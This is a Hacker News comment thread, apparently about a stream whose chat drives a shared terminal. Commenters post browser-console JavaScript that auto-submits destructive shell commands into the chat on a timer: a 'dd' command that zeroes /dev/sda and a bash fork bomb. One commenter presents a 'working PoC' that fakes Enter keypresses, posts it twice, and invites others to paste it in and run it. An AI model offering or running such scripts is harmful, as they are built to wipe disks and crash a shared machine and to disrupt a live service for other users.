Hacker News Reader

Comment by chadillac | Hacker News Reader

> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100)

> setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100)

Get a handful of people to run one of those in their browsers JS console and watch the world burn.

Except that those won't work - the input has to be received one-character at a time, i.e. one character per chat message.

Can't you just modify the script to add 1 char at the time and the event handler will get it anyways?

How do you know that char[x] went through, and you should switch to spamming char[x+1]?

yes, you can.

simple pseudo-code PoC, another 2 minutes of coding to fix that limitation.

You must live in an extremely simple world

> setInterval(function(){chars=':(){ :|: & };:'.split('');for(i=0;i<chars.length;i++){ $('#chat-input').val($('#chat-input').val()+chars[i]); }; $('#chat-send').click(); }, 100)

I must...

Okay, now get it to detect when it is actually time to switch characters and if your input string won or not last character.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);

^== go into a stream in Chrome, paste that into your JS console...success.

I LIVE IN A SIMPLE WORLD

this is why we can't have nice things

I won't work for the simple reason that it is only one character by user.

For the doubters, here is a working PoC... works in Chrome.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);

I just flagged this because it (and the other post of the same thing) blows out the page width and makes everything else wrap to the full length of the string, which is considerably more than the average screen width. Hoping an admin can edit it.

Yes, we prepended two spaces to the long line, which formats it as code. Thanks.

Reply on news.ycombinator.com